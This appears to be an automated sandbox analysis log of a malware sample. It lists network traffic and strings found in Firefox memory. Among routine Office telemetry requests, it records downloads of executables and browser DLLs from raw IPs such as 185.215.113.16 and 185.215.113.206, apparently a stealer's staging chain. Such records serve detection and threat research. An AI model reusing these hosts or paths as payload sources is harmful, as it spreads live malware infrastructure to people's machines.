Source: global traffic HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: */*
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-apply[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-apply[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D72000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-apply[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "responseHeaders"]]Boolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/Drag and drop items here to keep them within reach but out of your toolbar& https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhidden[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "requestHeaders"]]( equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionUpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.oncommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhidden[{incognito:null, tabId:null, types:["sub_frame"], urls:["*://trends.google.com/trends/embed*"], windowId:null}, ["blocking", "requestHeaders"]]( equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php**://ads.stickyadstv.com/auto-user-sync**://cdn.cmp.advertising.com/firefox-etp*://pubads.g.doubleclick.net/gampad/*ad-blk**://ads.stickyadstv.com/user-matching*resource://gre/modules/NetUtil.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2964951731.000001F5DA8DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2967466612.000001F5DAA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8C6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", 